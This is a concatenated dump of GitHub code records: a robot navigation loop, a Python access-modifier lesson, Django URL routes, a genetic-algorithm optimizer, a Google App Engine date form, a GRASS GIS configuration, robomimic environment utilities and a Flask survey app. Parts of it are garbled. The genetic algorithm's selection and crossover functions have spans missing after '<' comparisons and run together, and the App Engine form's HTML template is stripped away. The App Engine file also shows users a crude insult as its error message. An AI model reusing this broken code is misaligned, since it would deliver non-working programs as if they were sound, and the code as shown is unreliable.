\"START:\", cmddrive.startAngle, \"DST:\", cmddrive.dstAngle, \"SET:\", cmddrive.setAngle)\n vser.update()\n encData.update()\n encData.calcSpeed()\n #print (\"ENC-SPEED:\", encData.speed)\n realsense_spRight, realsense_spLeft = realsenseDrive.update(rsData=realsenseMins)\n pixy_spRight, pixy_spLeft = pixydrive.update(pixyData)\n\n if navigationMode == NAVIGATION_MODE_MANUAL:\n lidarPause=False\n encData.resetTimer()\n cmddrive.emptyQueue()\n\n motion.setWheelsSpeedAbsolute(manualdrive.speedRight, manualdrive.speedLeft)\n motion.updateMotors()\n\n elif navigationMode == NAVIGATION_MODE_JOYSTICK:\n encData.resetTimer()\n\n joydrive.update(joyData)\n #print(joydrive.speedRight, joydrive.speedLeft)\n motion.setWheelsSpeedAbsolute(joydrive.speedRight, joydrive.speedLeft)\n motion.updateMotors()\n\n elif navigationMode == NAVIGATION_MODE_CMD:\n cmddrive.processQueue()\n cmd_spRight, cmd_spLeft = cmddrive.update()\n motion.setWheelsSpeedAbsolute(cmd_spRight, cmd_spLeft)\n\n elif navigationMode == NAVIGATION_MODE_PIXY:\n if not lidarPause:\n print (\"PIXY ONLY DRIVE\", \"PID ERROR:\", pixydrive.error)\n manualdrive.stop()\n motion.setWheelSpeedPercentage(pixy_spRight, pixy_spLeft)\n if pixydrive.noVector==True:\n print (\"PIXY NO LINE!\")\n megaBeep(250, 1)\n vser.sendMsg(\"ex\", \"pixyoff\")\n navigationMode=NAVIGATION_MODE_MANUAL\n\n elif navigationMode == NAVIGATION_MODE_REALSENSE:\n manualdrive.stop()\n # PASAR A REALSENSE CUAND ESTAN LOS DOS MINS ACTIVOS PERO NO SALIR DE REALSENSE SI SE PIERDE EL DE ATRAS\n # PARA BARRA NORMAL (MIRANDO A LA DERECHA)\n motion.setWheelSpeedPercentage(realsense_spRight, realsense_spLeft)\n # PARA BARRA INVERTIDA (M]IRANDO A LA IZQUIERDA)\n #motion.setWheelSpeedPercentage(realsense_spLeft, realsense_spRight)\n\n if realsenseDrive.barDetected == True:\n if not lidarPause:\n print (\"RS DRIVE:\", \"BAR DETECTED:\", realsenseDrive.barDetected, \"MINS:\", realsenseMins, \"PID ERR:\", realsenseDrive.error)\n elif pixydrive.noVector == False:\n if not lidarPause:\n print(\"RS DRIVE: NO BAR - USING PIXY\")\n motion.setWheelSpeedPercentage(pixy_spRight, pixy_spLeft)\n else:\n megaBeep(250, 1)\n print(\"RS DRIVE: NO REALSENSE - NO PIXY - STOPPING!\")\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.stop()\n # CRITICT TILT\n if abs(motionData['accX']) >= 4 or abs(motionData['accY']) >= 4:\n if motion.emergencyStop==False:\n vser.sendMsg(\"ex\", \"critictilt\")\n megaBeep(500, 1)\n manualdrive.stop()\n motion.emergencyStop=True\n\n # PAUSA POR LIDAR\n if (navigationMode != NAVIGATION_MODE_MANUAL):\n if len(lidarMins) > 0:\n if min(lidarMins) < 500:\n\n if lidarEnabled==True:\n if lidarPause==False:\n print(\"OBJETO A MENOS DE 0.5 METROS -\", lidarMins)\n megaBeep(50, 3)\n vser.sendMsg(\"ex\", \"upause\")\n lidarPause=True\n motion.setWheelsSpeedAbsolute(0, 0)\n motion.updateMotors()\n encData.resetTimer()\n lidarPauseTime=millis()\n\n elif min(lidarMins) < 800:\n print (\"OBJETO A MENOS DE 0.8 METROS -\", lidarMins)\n if lidarEnabled==True:\n motion.reduceWheelsSpeed(ratio=2)\n\n if (millis()-lidarPauseTime) > 2000 or lidarEnabled==False:\n lidarPause = False\n motion.updateMotors()\n\n # SE DETIENE POR FALTA DE ENCODER\n noEncoderTimeout=3000\n if navigationMode==NAVIGATION_MODE_CMD:\n noEncoderTimeout=6000\n\n\n if navigationMode != NAVIGATION_MODE_MANUAL and encData.getTimer() > noEncoderTimeout and lidarPause==False:\n print(\"NO ENCODER DATA\")\n vser.sendMsg(\"ex\", \"enoreading\")\n navigationMode = NAVIGATION_MODE_MANUAL\n manualdrive.stop()\n\n\n #time.sleep(0.5)\n time.sleep(0.025)\n\nprint (\"CRITICAL ERROR.. NAVIGATION STOPPED.. CHECK SERVICES\")\nvser.sendMsg(\"ex\", \"criticalerror\")\nwhile (True):\n pass\n time.sleep(0.5)\n","repo_name":"miguelcadeiras/smartcube","sub_path":"devel/testLidar_v1/mainNav.py","file_name":"mainNav.py","file_ext":"py","file_size_in_byte":37008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5300692492","text":"# Class with access modifiers\nclass MyClass:\n def __init__(self):\n self.public_var = \"I am a public variable\" # Public variable\n self._protected_var = \"I am a protected variable\" # Protected variable\n self.__private_var = \"I am a private variable\" # Private variable\n\n def public_method(self):\n print(\"I am a public method\") # Public method\n\n def _protected_method(self):\n print(\"I am a protected method\") # Protected method\n\n def __private_method(self):\n print(\"I am a private method\") # Private method\n\n def access_members(self):\n print(self.public_var) # Access public variable\n print(self._protected_var) # Access protected variable\n print(self.__private_var) # Access private variable\n\n self.public_method() # Access public method\n self._protected_method() # Access protected method\n self.__private_method() # Access private method\n\n\n# Create object of the class\nobj = MyClass()\n\n# Access public variable and method\nprint(obj.public_var) # Output: I am a public variable\nobj.public_method() # Output: I am a public method\n\n# Access protected variable and method (conventionally considered as internal use only)\nprint(obj._protected_var) # Output: I am a protected variable\nobj._protected_method() # Output: I am a protected method\n\n# Access private variable and method (not recommended)\n# Note: Name mangling is applied to private variables and methods\nprint(obj._MyClass__private_var) # Output: I am a private variable\nobj._MyClass__private_method() # Output: I am a private method\n","repo_name":"mihirh19/Python","sub_path":"AdvancePython/OOP/6.access_modifiers.py","file_name":"6.access_modifiers.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"33640547199","text":"# -*- coding: utf-8 -*-\n\nfrom django.urls import path\nfrom ninja import *\nfrom oauth.views.index_views import *\nfrom oauth.views.signin_views import *\nfrom oauth.views.user_views import *\n\napi = NinjaAPI()\n\n\n@api.get(\"/add\")\ndef add(request, a: int, b: int):\n return {\"result\": a + b}\n\n\nurlpatterns = [\n path('', SignInView.as_view(), name='login'),\n path('register/', SignUpView.as_view(), name='register'),\n path('logout/', SignOutView.as_view(), name='logout'),\n path('index/', IndexView.as_view(), name='index'),\n path('userlist/', UserListView.as_view(), name='userlist'),\n path('user-add', UserCreateView.as_view(), name='user_add'), # 新增用户\n path('user-update//', UserUpdateView.as_view(), name=\"user_update\"), # 更新用户\n path('user-delete//', UserDeleteView.as_view(), name=\"user_delete\"), # 删除用户\n path(\"api/\", api.urls, name=\"api\"),\n]\n","repo_name":"ranyong1997/Sakura_Infinity","sub_path":"apps/oauth/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72253052373","text":"from db.database import DBSession\nfrom db.models import DBStreets\n\n\ndef create_street(session: DBSession, name: str) -> DBStreets:\n new_street = DBStreets(\n name=name\n )\n\n db_street = session.get_street_by_name(name)\n if db_street is not None:\n return db_street\n\n session.add_model(new_street)\n\n return new_street\n","repo_name":"iparinile/backend_vinterr","sub_path":"db/queries/streets.py","file_name":"streets.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39437357387","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 24 11:53:14 2021\n@author: Brenda Pedraza Melendez\n\"\"\"\nimport math\nimport random as rd\nfrom matplotlib import pyplot as plt\n\n#-----------------------------------------------------------------------------------------\ndef size(a,b,n):\n y=b-a\n partition=y*10**n\n n1 = math.log(partition+1, 2)\n n2=int(n1)\n n3=n1-n2\n if n3>=0.5:\n n1=n2+1\n else:\n n1=n2\n \n return n1\n#-----------------------------------------------------------------------------------------\ndef poblacion_i(n,p):\n h=[]\n h = [[rd.randint(0, 1) for col in range(n)] for row in range(p)]\n \n return h\n#-----------------------------------------------------------------------------------------\ndef copiar_valores(inter1, inter2, p, po):\n \n var = [[rd.randint(0, 1) for col in range(inter2-inter1)] for row in range(p)]\n \n for i in range(0,p):\n k=0\n for j in range(inter1, inter2):\n var[i][k]=po[i][j]\n k+=1\n \n '''for i in range(0,p):\n print(var[i])'''\n \n return var\n#-----------------------------------------------------------------------------------------\ndef decimal (po,n):\n decima=[]\n en=0\n for i in range(0,p):\n n1=n-1\n m=0\n for j in range(0,n):\n en=po[i][j]\n m+=en*2**n1\n n1-=1\n decima.append(m)\n\n '''for i in range(0,p):\n print(\"d\",i+1,\"=\",decima[i])'''\n return decima\n#-----------------------------------------------------------------------------------------\ndef x(decima,a,b,n):\n X=[]\n x1=0.0\n for i in range(0,p):\n x1=a+(decima[i]*((b-a)/((2**n)-1)))\n X.append(x1)\n \n '''for i in range(0,p):\n print(\"x\",i+1,\"=\",X[i])''' \n return X\n#----------------------------------------------------------------------------------------- \ndef fitness(X, Y):\n f=[]\n k=9\n for i in range(0,p):\n x=X[i]\n y=Y[i]\n f1=(21.5+(x*math.sin(4*math.pi*x))+(y*math.sin(20*math.pi*y)))\n #f1=((((1-x)**2)*math.exp(-x**2-(y+1)**2))-((x-x**3-y**3)*math.exp(-x**2-y**2)))\n #f1=(16*x*(1-x)*y*(1-y)*math.sin(k*math.pi*x)*math.sin(k*math.pi*y))**2\n f.append(f1) \n \n '''print('')\n print(\"***************************Valores de Fitness***************************\")\n for i in range(0,p):\n print(\"Fitness\",i+1,\"=\",f[i])'''\n return f\n#----------------------------------------------------------------------------------------- \ndef ruleta(funcion):\n suma=0.0\n R=[]\n rul=[]\n s=0.0\n i=0\n for i in range(0,p):\n suma+=funcion[i]\n R.append(0)\n for i in range(0,p):\n if funcion[i]>0:\n rul.append(funcion[i]/suma)\n s=s+(funcion[i]/suma)\n else:\n rul.append(0)\n R.append(s)\n \n ran=rd.uniform(0,1)\n for i in range(0,len(R)):\n if ran>=R[i] and ran funcion[tor[1]]: \n torne=tor[0]\n else:\n torne=tor[1]\n return torne\n#-----------------------------------------------------------------------------------------\ndef seleccion(Ps,fit,p):\n ps=[]\n rulet_torne=[]\n ps.clear()\n ps=Ps.copy()\n global longitud\n \n r1=int(p-longitud)\n \n for i in range(0,r1):\n #rulet_torne.append(ruleta(fit))\n rulet_torne.append(torneo(fit))\n \n for i in range(0,len(rulet_torne)):\n ps.append(po[rulet_torne[i]])\n \n '''print(\"Población con seleccion\")\n for i in range(0,p):\n print(ps[i])'''\n return ps\n#-----------------------------------------------------------------------------------------\ndef cruza(fit,r,p,n):\n ps=[]\n pb=[]\n p1=[]\n rulet_torne=[]\n global longitud\n \n ps.clear()\n r1=int((r*p)/2)\n r1*=2\n \n for i in range(0,r1):\n #rulet_torne.append(ruleta(fit))\n rulet_torne.append(torneo(fit))\n \n longitud=len(rulet_torne)\n \n cruce=rd.randint(0,n-1)\n \n ps = [[rd.randint(0, 1) for col in range(n)] for row in range(len(rulet_torne))]\n \n for i in range(0,len(rulet_torne)):\n pb.append(po[rulet_torne[i]])\n \n for i in range(0,len(pb),2):\n p1.clear()\n p1.append(pb[i])\n p1.append(pb[i+1])\n for k in range(0,n):\n if k\n\t\n\t\n\t \n\t
\n\t
\n\t%(error)s\t\t\n\t
\n\t\n\n\"\"\"\nmonths = ['January',\n 'February',\n 'March',\n 'April',\n 'May',\n 'June',\n 'July',\n 'August',\n 'September',\n 'October',\n 'November',\n 'December']\nmonth_abbvs = dict((m[:3].lower(),m) for m in months)\t\n \ndef valid_month(month):\n\tif month:\n\t\tshort_month = month[:3].lower()\n\t\treturn month_abbvs.get(short_month)\n\ndef valid_day(day):\n\tif day and day.isdigit():\n\t\tday=int(day)\n\t\tif day>0 and day<=31:\n\t\t\treturn day\n\ndef valid_year(year):\n\tif year and year.isdigit():\n\t\tyear=int(year)\n\t\tif year<2022 and year>1900:\n\t\t\treturn year\n\ndef escape_html(s):\n\treturn cgi.escape(s, quote= True)\n\n# Main starts here...\n\nclass MainPage(webapp.RequestHandler):\n\tdef write_form(self, error = \"\", day=\"\", month=\"\", year=\"\"):\n\t\tself.response.out.write(form %{\"error\":error,\n\t\t\t\t\t\t\"D\":escape_html(day),\n\t\t\t\t\t\t\"M\":escape_html(month),\n\t\t\t\t\t\t\"Y\":escape_html(year)})\n\n\tdef get(self):\n \t#self.response.headers['Content-Type'] = 'text/plain'\n \tself.write_form()\n\t\t#self.response.out.write(self.request)\n\n\n\tdef post(self):\n\t\tuser_day = self.request.get('d')\n\t\tuser_month = self.request.get('m')\n\t\tuser_year = self.request.get('y')\n\n\t\tday = valid_day(user_day)\n\t\tmonth = valid_month(user_month)\n\t\tyear = valid_year(user_year)\n\t\t\n\t\tif not(day and month and year):\n\t\t\tself.write_form(\"That is wrong Bitch !!!\", user_day, user_month, user_year)\n\t\telse:\n\t\t\tself.redirect(\"/thanks\")\n\t\t\tself.response.headers['Content-Type'] = 'text/plain'\n\t\t\tself.response.out.write(\"awesome!!\")\n\nclass ThanksHandler(webapp.RequestHandler):\n def get(self):\n #q=self.request.get(\"q\")\n self.response.out.write(\"Awesome !!!\")\n\t\n\napplication = webapp.WSGIApplication(\n \t[('/', MainPage),('/thanks',ThanksHandler) ],\n\t\t\t\t\tdebug=True)\n\ndef main():\n run_wsgi_app(application)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"anandabhishek73/Coding","sub_path":"Google App engine/Helloworld.py","file_name":"Helloworld.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13669029627","text":"import os, time, sys, math\nimport grass.script as gscript\nfrom grass.pygrass.modules.grid.grid import GridModule\n\n# DEBUT DE LA CONFIGURATION\n\nQUIET = True\nDEBUG = False\nif DEBUG:\n os.environ['GRASS_VERBOSE'] = '3'\n# Effacer les fichiers intermédiaires ?\nREMOVE = True\n\nRESULTS_DIR = '/projects/walous/FINALRESULTS'\n\n# Sortir une version tif des segments ?\nTIFF_OUTPUT_SEGMENTS = True\n\n# Le code inclut la possibilité de créer une deuxième couche de segments\n# plus grands. Mais cette approche rallonge fortement le temps de calcul.\nWITH_2_SEGMENTATION_LEVELS = False\n\n# Effacer la version vectorielle des segments avec leur stats ?\nVECTOR_REMOVE = True\n\n# Sauvegarder la region de travail actuelle et récupérer le nom du mapset\ninitregion = 'walous_temp_initregion_%i' % os.getpid()\ngscript.run_command('g.region',\n flags='u',\n save=initregion,\n overwrite=True)\n\nmapset = gscript.gisenv()['MAPSET']\n\n# TUILES EXISTANTES POUR DETERMINER LES CUTLINES\nEXISTING_TILE_MAP='existing_tiles'\nEXISTING_CUTLINE_MAP='existing_cutlines'\nOUTPUT_STATS_FILE_PREFIX = 'walous_2018_stats_tile_'\n\n# RECUPERER LES ID DES TUILES DES ORTHOS\nTUILESCARTE = 'tuilage_2018'\n# COUCHE DANS LAQUELLE TROUVER LES ID des tuiles\nTUILESCARTE_LAYER = 1\n\nMEMORY=10000\nPROCESSES=8\nGROUP='walous_tmp_group_%i' % os.getpid()\n\n# DEFINIR LES BANDES DES ORTHOS\n# Dans les TIFs des orthos:\n# 1 = Rouge\n# 2 = Vert\n# 3 = Bleu\n# 4 = Infrarouge\n# Lors de l'importation dans GRASS GIS, chaque bande devient une couche raster\n# à part\n\nBANDS = {}\nBANDS['red'] = 'orthos2018.1'\nBANDS['green'] = 'orthos2018.2'\nBANDS['blue'] = 'orthos2018.3'\nBANDS['nir'] = 'orthos2018.4'\n\n# Puisque l'ordre des entrées dans un dictionnaire n'est pas garantie dans \n# Python, nous créons un vecteur avec les noms des bandes.\n# Garder cet ordre rend le traitement en masse des fichiers plus facile.\nbandnames = ['red', 'green', 'blue', 'nir']\n\n# FAUT-IL EXCLURE LE NIR POUR LA SEGMENTATION DES ZONES DE VEGETATION (FOREST ET SIGEC)\n# Ceci permets souvent d'éviter des segments trop petits\nNO_NIR_FOR_VEGETATION = True\n\n# DEFINITION DES PARAMETRES DE CALCULS DES TEXTURES\n# LES TEXTURES SERONT CALCULEES SUR LA \"PANCHROMATIQUE\", CAD LA COMBINAISON DES RGB\n# SI TEXTURE_METHOD = [] ALORS PAS DE TEXTURES CALCULEES\nTEXTURE_METHODS = ['idm']\nTEXTURE_WINDOWSIZES = [11, 21]\nTEXTURE_DISTANCE = 5\n\n# DICTIONNAIRE NECESSAIRE POUR CONNAITRE NOMS DES FICHIERS SORTANT DES CALCULS DE TEXTURE\nTEXTURE_METHODS_DIC = {'asm' : 'ASM',\n 'contrast' : 'Contr',\n 'corr' : 'Corr',\n 'var' : 'Var',\n 'idm' : 'IDM',\n 'sa' : 'SA',\n 'sv' : 'SV',\n 'se' : 'SE',\n 'entr' : 'Entr',\n 'dv' : 'DV',\n 'de' : 'DE',\n 'moc1' : 'MOC-1',\n 'moc2' : 'MOC-2'}\n\n# Cartes avec le modèle numérique de hauteur\nMNHMAP = 'mnh2018' \n\n# Cartes de référence pour sélectionner les segments d'entraînement\nBUILDINGSMAP = 'sq_batiments'\n\n# Dans le squelette vectorielle créé dans le cadre de WALOUS, les routes\n# sont représentées par des polygones\n# Les axes de routes dans le PICC permettent un traitement plus rapide et \n# semblent suffisantes pour avoir de bonnes données d'entraînement\n#ROADSMAP = 'sq_roads'\nROADSMAP = 'picc_axes_routes_sans_chemins'\nROADS_OVERLAY_OPERATOR = 'crosses'\n\nRAILMAP = 'PICC_ferrov'\nRAIL_OVERLAY_OPERATOR = 'crosses'\n\nFIELDSMAP = 'sigec2017_sans_autres'\nARABLESMAP= 'sigec2017_cultures'\n#ARABLESMAP = 'crop2016_cm'\nCONIFEROUSMAP = 'gembloux_resineux'\nDECIDUOUSMAP = 'gembloux_feuillus'\nWATERMAP = 'lifewatch_water'\nQUARRYMAP = 'IGN_carrieres'\n\nRASTER_STATS = ['mean','stddev','first_quart','perc_90']\nRASTER_STATS2 = ['mean','stddev']\nAREA_MEASURES = ['area','perimeter','compact_circle','fd','xcoords','ycoords']\nAREA_MEASURES2 = ['area','compact_circle','fd']\nISEGMENTSTATSFLAGS='rnc'\nISEGMENTSTATSFLAGS2='rc'\n\n# NOM DE LA COLONNE POUR LES CLASSES DEFINIES POUR L'ENTRAINEMENT\nTRAINING_COLUMN = \"tr_class\"\noverlay_TRAINING_COLUMN = \"a_\" + TRAINING_COLUMN\n\n\n","repo_name":"mlennert/WALOUS_OCS_OBIA","sub_path":"SRC/walous_obia_config.py","file_name":"walous_obia_config.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"fr","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"73917151894","text":"\"\"\"\nThis file contains several utility functions for working with environment\nwrappers provided by the repository, and with environment metadata saved\nin dataset files.\n\"\"\"\nfrom copy import deepcopy\nimport robomimic.envs.env_base as EB\nfrom robomimic.utils.log_utils import log_warning\n\n\ndef get_env_class(env_meta=None, env_type=None, env=None):\n \"\"\"\n Return env class from either env_meta, env_type, or env.\n Note the use of lazy imports - this ensures that modules are only\n imported when the corresponding env type is requested. This can\n be useful in practice. For example, a training run that only\n requires access to gym environments should not need to import\n robosuite.\n\n Args:\n env_meta (dict): environment metadata, which should be loaded from demonstration\n hdf5 with @FileUtils.get_env_metadata_from_dataset or from checkpoint (see\n @FileUtils.env_from_checkpoint). Contains 3 keys:\n\n :`'env_name'`: name of environment\n :`'type'`: type of environment, should be a value in EB.EnvType\n :`'env_kwargs'`: dictionary of keyword arguments to pass to environment constructor\n\n env_type (int): the type of environment, which determines the env class that will\n be instantiated. Should be a value in EB.EnvType.\n\n env (instance of EB.EnvBase): environment instance\n \"\"\"\n env_type = get_env_type(env_meta=env_meta, env_type=env_type, env=env)\n if env_type == EB.EnvType.ROBOSUITE_TYPE:\n from robomimic.envs.env_robosuite import EnvRobosuite\n return EnvRobosuite\n elif env_type == EB.EnvType.GYM_TYPE:\n from robomimic.envs.env_gym import EnvGym\n return EnvGym\n elif env_type == EB.EnvType.IG_MOMART_TYPE:\n from robomimic.envs.env_ig_momart import EnvGibsonMOMART\n return EnvGibsonMOMART\n raise Exception(\"code should never reach this point\")\n\n\ndef get_env_type(env_meta=None, env_type=None, env=None):\n \"\"\"\n Helper function to get env_type from a variety of inputs.\n\n Args:\n env_meta (dict): environment metadata, which should be loaded from demonstration\n hdf5 with @FileUtils.get_env_metadata_from_dataset or from checkpoint (see\n @FileUtils.env_from_checkpoint). Contains 3 keys:\n\n :`'env_name'`: name of environment\n :`'type'`: type of environment, should be a value in EB.EnvType\n :`'env_kwargs'`: dictionary of keyword arguments to pass to environment constructor\n\n env_type (int): the type of environment, which determines the env class that will\n be instantiated. Should be a value in EB.EnvType.\n\n env (instance of EB.EnvBase): environment instance\n \"\"\"\n checks = [(env_meta is not None), (env_type is not None), (env is not None)]\n assert sum(checks) == 1, \"should provide only one of env_meta, env_type, env\"\n if env_meta is not None:\n env_type = env_meta[\"type\"]\n elif env is not None:\n env_type = env.type\n return env_type\n\n\ndef check_env_type(type_to_check, env_meta=None, env_type=None, env=None):\n \"\"\"\n Checks whether the passed env_meta, env_type, or env is of type @type_to_check.\n Type corresponds to EB.EnvType.\n\n Args:\n type_to_check (int): type to check equality against\n\n env_meta (dict): environment metadata, which should be loaded from demonstration\n hdf5 with @FileUtils.get_env_metadata_from_dataset or from checkpoint (see\n @FileUtils.env_from_checkpoint). Contains 3 keys:\n\n :`'env_name'`: name of environment\n :`'type'`: type of environment, should be a value in EB.EnvType\n :`'env_kwargs'`: dictionary of keyword arguments to pass to environment constructor\n\n env_type (int): the type of environment, which determines the env class that will\n be instantiated. Should be a value in EB.EnvType.\n\n env (instance of EB.EnvBase): environment instance\n \"\"\"\n env_type = get_env_type(env_meta=env_meta, env_type=env_type, env=env)\n return (env_type == type_to_check)\n\n\ndef check_env_version(env, env_meta):\n \"\"\"\n Checks whether the passed env and env_meta dictionary having matching environment versions.\n Logs warning if cannot find version or versions do not match.\n\n Args:\n env (instance of EB.EnvBase): environment instance\n\n env_meta (dict): environment metadata, which should be loaded from demonstration\n hdf5 with @FileUtils.get_env_metadata_from_dataset or from checkpoint (see\n @FileUtils.env_from_checkpoint). Contains following key:\n\n :`'env_version'`: environment version, type str\n \"\"\"\n env_system_version = env.version\n env_meta_version = env_meta.get(\"env_version\", None)\n\n if env_meta_version is None:\n log_warning(\n \"No environment version found in dataset!\"\\\n \"\\nCannot verify if dataset and installed environment versions match\"\\\n )\n elif env_system_version != env_meta_version:\n log_warning(\n \"Dataset and installed environment version mismatch!\"\\\n \"\\nDataset environment version: {meta}\"\\\n \"\\nInstalled environment version: {sys}\".format(\n sys=env_system_version,\n meta=env_meta_version,\n )\n )\n\n\ndef is_robosuite_env(env_meta=None, env_type=None, env=None):\n \"\"\"\n Determines whether the environment is a robosuite environment. Accepts\n either env_meta, env_type, or env.\n \"\"\"\n return check_env_type(type_to_check=EB.EnvType.ROBOSUITE_TYPE, env_meta=env_meta, env_type=env_type, env=env)\n\n\ndef create_env(\n env_type,\n env_name, \n render=False, \n render_offscreen=False, \n use_image_obs=False, \n use_depth_obs=False, \n **kwargs,\n):\n \"\"\"\n Create environment.\n\n Args:\n env_type (int): the type of environment, which determines the env class that will\n be instantiated. Should be a value in EB.EnvType.\n\n env_name (str): name of environment\n\n render (bool): if True, environment supports on-screen rendering\n\n render_offscreen (bool): if True, environment supports off-screen rendering. This\n is forced to be True if @use_image_obs is True.\n\n use_image_obs (bool): if True, environment is expected to render rgb image observations\n on every env.step call. Set this to False for efficiency reasons, if image\n observations are not required.\n\n use_depth_obs (bool): if True, environment is expected to render depth image observations\n on every env.step call. Set this to False for efficiency reasons, if depth\n observations are not required.\n \"\"\"\n\n # note: pass @postprocess_visual_obs True, to make sure images are processed for network inputs\n env_class = get_env_class(env_type=env_type)\n env = env_class(\n env_name=env_name, \n render=render, \n render_offscreen=render_offscreen, \n use_image_obs=use_image_obs,\n use_depth_obs=use_depth_obs,\n postprocess_visual_obs=True,\n **kwargs,\n )\n print(\"Created environment with name {}\".format(env_name))\n print(\"Action size is {}\".format(env.action_dimension))\n return env\n\n\ndef create_env_from_metadata(\n env_meta,\n env_name=None, \n render=False, \n render_offscreen=False, \n use_image_obs=False, \n use_depth_obs=False, \n):\n \"\"\"\n Create environment.\n\n Args:\n env_meta (dict): environment metadata, which should be loaded from demonstration\n hdf5 with @FileUtils.get_env_metadata_from_dataset or from checkpoint (see\n @FileUtils.env_from_checkpoint). Contains 3 keys:\n\n :`'env_name'`: name of environment\n :`'type'`: type of environment, should be a value in EB.EnvType\n :`'env_kwargs'`: dictionary of keyword arguments to pass to environment constructor\n\n env_name (str): name of environment. Only needs to be provided if making a different\n environment from the one in @env_meta.\n\n render (bool): if True, environment supports on-screen rendering\n\n render_offscreen (bool): if True, environment supports off-screen rendering. This\n is forced to be True if @use_image_obs is True.\n\n use_image_obs (bool): if True, environment is expected to render rgb image observations\n on every env.step call. Set this to False for efficiency reasons, if image\n observations are not required.\n\n use_depth_obs (bool): if True, environment is expected to render depth image observations\n on every env.step call. Set this to False for efficiency reasons, if depth\n observations are not required.\n \"\"\"\n if env_name is None:\n env_name = env_meta[\"env_name\"]\n env_type = get_env_type(env_meta=env_meta)\n env_kwargs = env_meta[\"env_kwargs\"]\n\n env = create_env(\n env_type=env_type,\n env_name=env_name, \n render=render, \n render_offscreen=render_offscreen, \n use_image_obs=use_image_obs, \n use_depth_obs=use_depth_obs, \n **env_kwargs,\n )\n check_env_version(env, env_meta)\n return env\n\n\ndef create_env_for_data_processing(\n env_meta,\n camera_names, \n camera_height, \n camera_width, \n reward_shaping,\n env_class=None,\n render=None, \n render_offscreen=None, \n use_image_obs=None, \n use_depth_obs=None, \n):\n \"\"\"\n Creates environment for processing dataset observations and rewards.\n\n Args:\n env_meta (dict): environment metadata, which should be loaded from demonstration\n hdf5 with @FileUtils.get_env_metadata_from_dataset or from checkpoint (see\n @FileUtils.env_from_checkpoint). Contains 3 keys:\n\n :`'env_name'`: name of environment\n :`'type'`: type of environment, should be a value in EB.EnvType\n :`'env_kwargs'`: dictionary of keyword arguments to pass to environment constructor\n\n camera_names (list of st): list of camera names that correspond to image observations\n\n camera_height (int): camera height for all cameras\n\n camera_width (int): camera width for all cameras\n\n reward_shaping (bool): if True, use shaped environment rewards, else use sparse task completion rewards\n\n render (bool or None): optionally override rendering behavior\n\n render_offscreen (bool or None): optionally override rendering behavior\n\n use_image_obs (bool or None): optionally override rendering behavior\n\n use_depth_obs (bool or None): optionally override rendering behavior\n \"\"\"\n env_name = env_meta[\"env_name\"]\n env_type = get_env_type(env_meta=env_meta)\n env_kwargs = env_meta[\"env_kwargs\"]\n if env_class is None:\n env_class = get_env_class(env_type=env_type)\n\n # remove possibly redundant values in kwargs\n env_kwargs = deepcopy(env_kwargs)\n env_kwargs.pop(\"env_name\", None)\n env_kwargs.pop(\"camera_names\", None)\n env_kwargs.pop(\"camera_height\", None)\n env_kwargs.pop(\"camera_width\", None)\n env_kwargs.pop(\"reward_shaping\", None)\n env_kwargs.pop(\"render\", None)\n env_kwargs.pop(\"render_offscreen\", None)\n env_kwargs.pop(\"use_image_obs\", None)\n env_kwargs.pop(\"use_depth_obs\", None)\n\n env = env_class.create_for_data_processing(\n env_name=env_name, \n camera_names=camera_names, \n camera_height=camera_height, \n camera_width=camera_width, \n reward_shaping=reward_shaping, \n render=render, \n render_offscreen=render_offscreen, \n use_image_obs=use_image_obs, \n use_depth_obs=use_depth_obs,\n **env_kwargs,\n )\n check_env_version(env, env_meta)\n return env\n\n\ndef set_env_specific_obs_processing(env_meta=None, env_type=None, env=None):\n \"\"\"\n Sets env-specific observation processing. As an example, robosuite depth observations\n correspond to raw depth and should not be normalized by default, while default depth\n processing normalizes and clips all values to [0, 1].\n \"\"\"\n if is_robosuite_env(env_meta=env_meta, env_type=env_type, env=env):\n from robomimic.utils.obs_utils import DepthModality, process_frame, unprocess_frame\n DepthModality.set_obs_processor(processor=(\n lambda obs: process_frame(frame=obs, channel_dim=1, scale=None)\n ))\n DepthModality.set_obs_unprocessor(unprocessor=(\n lambda obs: unprocess_frame(frame=obs, channel_dim=1, scale=None)\n ))\n\n\ndef wrap_env_from_config(env, config):\n \"\"\"\n Wraps environment using the provided Config object to determine which wrappers\n to use (if any).\n \"\"\"\n if (\"frame_stack\" in config.train) and (config.train.frame_stack > 1):\n from robomimic.envs.wrappers import FrameStackWrapper\n env = FrameStackWrapper(env, num_frames=config.train.frame_stack)\n\n return env\n","repo_name":"ARISE-Initiative/robomimic","sub_path":"robomimic/utils/env_utils.py","file_name":"env_utils.py","file_ext":"py","file_size_in_byte":13039,"program_lang":"python","lang":"en","doc_type":"code","stars":294,"dataset":"github-code","pt":"67"} +{"seq_id":"28291420259","text":"from flask import Flask, request, render_template, flash, redirect\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom surveys import Question, satisfaction_survey\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'fluffy'\napp.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False\n\ndebug = DebugToolbarExtension(app)\n\nresponses = []\n\n@app.route('/')\ndef handle_first_request():\n \"\"\"Renders a page that shows the user the title\n of the survey, the instructions, and a button to\n start the survey. The button should serve as a link\n that directs the user to /questions/0.\"\"\"\n\n responses = []\n\n return render_template('survey_home_template.html', question_number=0)\n\n\n@app.route('/answer', methods=[\"POST\"])\ndef collect_data():\n print('\\n\\n GOT INTO /ANSWER \\n\\n')\n selected_option = request.form['answer']\n\n responses.append(selected_option)\n print(\"!!!!!!!!THESE ARE RESPONSES \\n \\n 